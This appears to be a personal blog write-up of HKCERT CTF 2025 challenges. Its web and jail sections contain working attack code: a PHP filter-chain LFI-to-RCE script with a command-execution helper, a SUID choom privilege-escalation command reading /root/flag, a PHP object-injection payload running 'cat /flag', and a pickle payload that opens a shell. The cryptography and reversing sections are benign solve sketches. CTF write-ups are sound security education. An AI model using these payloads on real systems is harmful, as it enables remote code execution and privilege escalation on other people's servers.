Skip to main content

HKCERT CTF 2025 — Writeup

· Updated: Aug 5, 2026 · CTF, HKCERT CTF, Web Exploitation, Cryptography, Reverse Engineering

Table of contents

This page collects my HKCERT CTF 2025 writeups. renderme came first, and I have since added the rest from my saved solve scripts.

呢條友好懶,完左咁耐先寫返啲 writeup 出黎

A note on flags: I wrote these up from the solve scripts I kept, and some of those scripts did not record the final flag string. Where that is the case I say so rather than guess. The method is what matters, and each script is reproducible against the original challenge.

Contents

Category Challenge Class of bug
Web Exploitation renderme PHP filter-chain LFI to RCE, then SUID privesc
Web Exploitation r PHP object injection with a back-reference POP chain
Miscellaneous easyJail Pickle jail past a substring blocklist
Cryptography cruel_rsa Partial private-key exposure on structured primes
Cryptography EC Fun Discrete log on a disguised group, 54-bit key
Cryptography Loss N RSA with the modulus missing, consecutive primes
Cryptography Bivariate copper Tiny factor plus a bivariate Coppersmith relation
Cryptography Triple Key Cipher Oracle recovery, invertible mod 256
Reverse Engineering easyjar Reimplement a hand-rolled SM4 to decrypt
Reverse Engineering findkey Single-byte XOR over stored strings

Web Exploitation

renderme

Overview

renderme is a very fun Web Exploitation challenge because it is not just one single trick. You need to first get code execution, then calm down and enumerate the machine properly, and only then do the privilege escalation. The goal was straightforward: get RCE on the target, escalate privileges, and read the root flag.

After looking at the application behavior for a bit, it was pretty clear that user-controlled input was reaching a file inclusion sink. Once I saw that, my first thought was immediately php://filter, because this kind of bug often turns into LFI-to-RCE if the backend uses include or require carelessly.

Insight

The main bug was that we could control data that eventually ended up inside a PHP file inclusion path. Instead of going down the usual path like log poisoning or upload tricks, I used the PHP filter chain technique.

The theory is simple, but the actual payload is super ugly:

  1. Start from a valid file that the target can include.
  2. Wrap it with php://filter.
  3. Use a long chain of convert.iconv.* filters to shape the byte stream.
  4. Build a base64-encoded PHP payload in memory.
  5. Decode it back into executable PHP before the final include happens.

The small stager I used was:

<?=require$_POST[1]?>

I like this kind of stager because the first payload stays very small, while the actual second-stage payload can be sent later through $_POST[1]. That is very useful when the injection point is annoying, filtered, or has length restrictions.

Exploitation

I did not generate the filter chain by hand. That would be painful. I used a helper script to automate the generation and get an interactive shell.

import base64
import sys

import requests

file_to_use = 'php://temp'

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': '',
}

def generate_filter_chain(chain, debug_base64=False):
    encoded_chain = chain
    filters = 'convert.iconv.UTF8.CSISO2022KR|'
    filters += 'convert.base64-encode|'
    filters += 'convert.iconv.UTF8.UTF7|'
    for c in encoded_chain[::-1]:
        filters += conversions[c] + '|'
        filters += 'convert.base64-decode|'
        filters += 'convert.base64-encode|'
        filters += 'convert.iconv.UTF8.UTF7|'
    if not debug_base64:
        filters += 'convert.base64-decode'
    return f'php://filter/{filters}/resource={file_to_use}'

url = 'http://web-9a4ea3c259.challenge.xctf.org.cn/'

def execute_command(cmd, cwd=None):
    real_cmd = f'cd {cwd} && {cmd}' if cwd else cmd
    real_cmd = real_cmd.replace("'", "\\'")
    php_code = f"<?php echo 'RCE_START'; system('{real_cmd}'); echo 'RCE_END'; ?>"
    b64_code = base64.b64encode(php_code.encode('utf-8')).decode('utf-8').replace('=', '')
    payload = generate_filter_chain(b64_code)
    data = {
        'name': '<?=require$_POST[1]?>',
        '1': payload,
    }
    try:
        response = requests.post(url, data=data)
        if 'RCE_START' in response.text:
            return response.text.split('RCE_START')[1].split('RCE_END')[0]
        return f'[-] RCE failed. Response len: {len(response.text)}'
    except Exception as e:
        return f'[-] Error: {e}'

def main():
    if len(sys.argv) < 2:
        print('Usage: python3 exploit_rce_cmd.py <command>')
        sys.exit(1)
    cmd = ' '.join(sys.argv[1:])
    print(f'[+] Executing: {cmd}')
    print(execute_command(cmd))

if __name__ == '__main__':
    main()

After the payload landed properly, I got code execution as www-data. Basic enumeration showed:

That last point matters a lot. A kernel version might look old and juicy at first glance, but once Docker or some containerized environment gets involved, a lot of public kernel privesc ideas become a waste of time. I did try a few known kernel privesc directions first, and none of them worked, which was not surprising in a container where the required features are likely unavailable or already patched.

The actual breakthrough came from enumerating SUID binaries:

find / -perm -4000 2>/dev/null

One binary stood out: /usr/bin/choom. It is normally just a utility for adjusting the OOM killer score of a process, but once it is exposed as a SUID root binary and does not drop privileges properly, it turns into a very nice privesc vector. This is a known GTFOBins trick, so after spotting it the path was clear:

/usr/bin/choom -n 0 -- cat /root/flag

That was enough to read the root flag and finish the challenge cleanly.

flag{T4x3EMg2KD6J3VfCPvOiDqF17ntodEsU}

Root cause

What I liked about this challenge is that it did not stop at one clever web trick. It forced a full chain: identify the PHP inclusion weakness, turn it into RCE with the filter-chain technique, do realistic post-exploitation enumeration, avoid tunnel vision on kernel exploits, and notice the much simpler SUID privesc route.

The main lesson is the same as always. After getting a shell, do not rush blindly into fancy exploits. Slow down, enumerate properly, and look for the boring stuff too. A lot of the time, the intended privesc is much simpler than the one you are trying to force.

我幾鐘意呢類 RCE 類別既, 因為我 Prefer HackTheBox/TryHackMe 類既 hack 機拎 shell 題目 … :)

References: GTFOBins choom and Synacktiv on PHP filter chains.

Flag: flag{T4x3EMg2KD6J3VfCPvOiDqF17ntodEsU}

r

Overview

r is a PHP object-injection challenge. The entry point unserializes attacker input into a RequestHandler, and the trick is chaining two handlers so the anonymous-class instance is reused by reference.

Insight

The payload builds two RequestHandler objects in an array. The first constructs an anonymous class whose file path points at index.php, and the second reuses that same object through a serialization back-reference (r:3), calling its execute method with the cmd parameter. The back-reference is what makes the object act as both the constructed handler and the executed one.

Exploitation

import requests

url = "http://web-dc19f6392b.challenge.xctf.org.cn/"

def try_pwn(line):
    path = f"/var/www/html/index.php:{line}$0"
    anon_name = f"\x00class@anonymous{path}"
    name_len = len(anon_name)

    payload = (
        'a:2:{'
        'i:0;O:14:"RequestHandler":2:{'
        f's:9:"processor";O:{name_len}:"{anon_name}":1:{{s:6:"handle";N;}}'
        's:6:"action";a:2:{i:0;r:3;i:1;s:11:"__construct";}'
        '}'
        'i:1;O:14:"RequestHandler":2:{'
        's:9:"processor";r:3;'
        's:6:"action";a:2:{i:0;r:3;i:1;s:7:"execute";}'
        '}'
        '}'
    )
    r = requests.get(url, params={'p': payload, 'cmd': 'cat /flag'})
    return "flag{" in r.text

for l in [10, 6, 11, 9, 5]:
    if try_pwn(l):
        break

The unknown is the line number inside index.php where the anonymous class resolves, so the script sweeps a few likely values.

Root cause

The usual one: never unserialize untrusted input when POP gadgets exist in scope. The back-reference trick shows how little the class needs to expose for injection to work. My saved script did not record the flag.


Miscellaneous

easyJail

Overview

A Python pickle jail. The server blocks certain tokens with an if token in data substring check over the raw payload, so os, sys, and set can never appear literally.

Insight

Pickle string opcodes accept octal escapes, so the banned words can be spelled without their literal bytes ever appearing. The payload pushes logging.root, builds posix.system via STACK_GLOBAL, and calls it through __setstate__.

Exploitation

import base64

# Octal escapes so "os", "sys", "set" never appear in the raw bytes
setstate_hex = b"S'\\137\\137\\163\\145\\164\\163\\164\\141\\164\\145\\137\\137'\n"
posix_hex    = b"S'\\160\\157\\163\\151\\170'\n"
system_hex   = b"S'\\163\\171\\163\\164\\145\\155'\n"

payload = (
    b"clogging\nroot\n"
    b"("
    + setstate_hex
    + posix_hex
    + system_hex
    + b"\x93"          # STACK_GLOBAL: posix.system
    b"d"               # DICT: {"__setstate__": posix.system}
    b"b"               # BUILD: logging.root.__setstate__({...})
    b"S'sh'\n"
    b"b"               # BUILD: posix.system('sh')
    b"."
)
print(base64.b64encode(payload).decode())

Root cause

A substring blocklist over serialized data is not a sandbox. Pickle is code execution by design, and its escapes defeat naive filters. My saved script did not record the flag.


Cryptography

cruel_rsa

Overview

An RSA variant where the primes have a shared structure (p = 2ga + 1, q = 2gb + 1) and the challenge leaks the top and bottom bits of the private exponent d. This is a partial-key-exposure attack.

Insight

d is reconstructed as d = dm * 2^209 + x * 2^74 + dl, leaving 135 unknown middle bits. Set up the RSA key relation e*d = 1 + k*L and run a lattice/Coppersmith small-root search over the unknown middle, combined with recovering the shared factor g (a Blum prime around 226 bits). Once d is complete, the message decrypts directly.

Exploitation

nbit = 512
kbit  = int(nbit * 0.51)   # 261
msbit = int(nbit * 0.103)  # 52  (top bits known)
lsbit = int(nbit * 0.145)  # 74  (bottom bits known)

shift_high = kbit - msbit  # 209
unknown_bits = shift_high - lsbit  # 135
# d = dm << 209 + x << 74 + dl, solve x via Coppersmith, then decrypt.

Root cause

Leaking both ends of d on structured primes is enough for a lattice attack to fill the gap. The full Sage script (lattice construction and factoring) is the artifact. My saved script did not record the flag.

EC Fun

Overview

A custom group disguised as rational maps over F_p. have is the group law and fun is a doubling-style map, together implementing scalar multiplication of a hidden 54-bit key. The goal is a discrete log.

Insight

The key is only 54 bits, so a meet-in-the-middle baby-step giant-step over the custom group recovers it, using the map’s own operations for the steps. Once the key is known, it is the AES key for the flag ciphertext.

Exploitation

def scalar_mult(point, k):
    res = g1
    temp = point
    while k:
        if k & 1:
            res = have(res, temp)
        temp = fun(temp)
        k >>= 1
    return res

# BSGS over the custom group to recover the 54-bit key, then AES-ECB decrypt.

Root cause

Dressing up a group as opaque polynomial fractions does not raise the discrete-log difficulty when the exponent is only 54 bits. My saved script did not record the flag.

Loss N

Overview

RSA where you are given c, d, and e but not the modulus n. The primes are consecutive (q = next_prime(p)), so they are close.

Insight

Since e*d - 1 = k*phi(n), iterate small k, take phi_n = (e*d - 1)/k, and because p and q are adjacent, p ≈ sqrt(phi_n). Search a small window around that square root for a prime p whose (p-1)(q-1) matches phi_n, then rebuild n and decrypt.

Exploitation

ed_minus_1 = e * d - 1
for k in range(1, 100000):
    if ed_minus_1 % k:
        continue
    phi_n = ed_minus_1 // k
    p_approx = isqrt(phi_n)
    for offset in range(-5000, 5000):
        p = p_approx + offset
        if not is_prime(p):
            continue
        q = next_prime(p)
        if (p - 1) * (q - 1) == phi_n:
            n = p * q
            # decrypt pow(c, d, n)

Root cause

Missing n is not much protection when d is known and the primes are consecutive. My saved script did not record the flag.

Bivariate copper

Overview

An RSA challenge with a tiny factor plus a bivariate Coppersmith relation over two leaked, partially known values.

Insight

N has a small factor, so trial division up to 2^25 splits it and the message decrypts by normal RSA. The remaining structure is two equations in unknowns x1, x2 that are small (bounded by 2^244), recovered by searching small x1 and solving for a valid x2 under the bound.

Exploitation

for candidate_q in range(2, 2**25):
    if N % candidate_q == 0 and isPrime(candidate_q) and isPrime(N // candidate_q):
        q, p = candidate_q, N // candidate_q
        break
d = inverse(e, (p - 1) * (q - 1))
# message = pow(c, d, N); then solve the bivariate relation for the small roots.

Root cause

A small factor makes N splittable outright, which undercuts the whole scheme. My saved script did not record the flag.

Triple Key Cipher

Overview

A remote encryption oracle built on a custom byte cipher with a per-byte leak. The C source triKeyEnc.c describes the round, and the attack is an oracle recovery using modular inverses mod 256.

Insight

The hash_msg step truncates and SHA-256s the input, and the cipher mixes bytes with operations invertible mod 256. Querying the oracle with chosen messages and reading the leak lets you invert the key bytes one at a time via the modular inverse.

Exploitation

def mod_inverse(a, m=256):
    a = (a % m + m) % m
    def egcd(a, b):
        if a == 0:
            return b, 0, 1
        g, x1, y1 = egcd(b % a, a)
        return g, y1 - (b // a) * x1, x1
    _, x, _ = egcd(a, m)
    return x % m
# Query oracle, read per-byte leak, invert key bytes mod 256.

Root cause

Byte operations that are invertible mod 256, plus a per-byte leak, let you invert the key one byte at a time. The full pwntools client is the artifact. My saved script did not record the flag.


Reverse Engineering

easyjar

Overview

A Java jar that encrypts the flag with a hand-rolled SM4 implementation (Sm4.class). SM4 is a standard block cipher, so the whole thing is reversible once you port the S-box and key schedule out of the decompiled class.

Insight

The solve reconstructs SM4 from the Sm4.java constants: the S-box (converted from signed Java bytes), the FK and CK schedule constants, and a modified SBOX_P built in the class’s static block with an 0xA7 tweak and a per-index rotate. With the cipher rebuilt, decrypting is running SM4 in reverse.

Exploitation

SBOX = [b & 0xFF for b in SBOX_RAW]           # signed -> unsigned
SBOX_P = [rotl8(SBOX[(i ^ 0xA7) & 0xFF], i & 3) for i in range(256)]

def tau(n):
    return (sbox_transform((n >> 24) & 0xFF) << 24
            | sbox_transform((n >> 16) & 0xFF) << 16
            | sbox_transform((n >> 8) & 0xFF) << 8
            | sbox_transform(n & 0xFF))

def T(n):
    t = tau(n)
    return t ^ rotl(t, 2) ^ rotl(t, 10) ^ rotl(t, 18) ^ rotl(t, 24)

Root cause

Renaming the class does not change the cipher. Once the constants are ported faithfully, the SM4 key schedule inverts and the flag decrypts. My saved script did not record the flag.

findkey

Overview

A small binary that stores its strings XOR-encoded with a few single-byte keys.

Insight

Three keys show up in the binary (0x0B for the prompt, 0x02 for the error, 0x21 for the success message). Decoding each suspicious string with its key reveals the plaintext, and a hidden 16-byte block gives the key material for the flag.

Exploitation

def multi_xor_decode(s):
    return {hex(k): "".join(chr(ord(c) ^ k) for c in s) for k in (0x0B, 0x02, 0x21)}

Root cause

Single-byte XOR over stored strings is trivially recoverable once the keys are read out of the binary. This is an AIS3-format challenge (AIS3{...}) that appeared in the set; the recovered inner value was 278-362-75136019.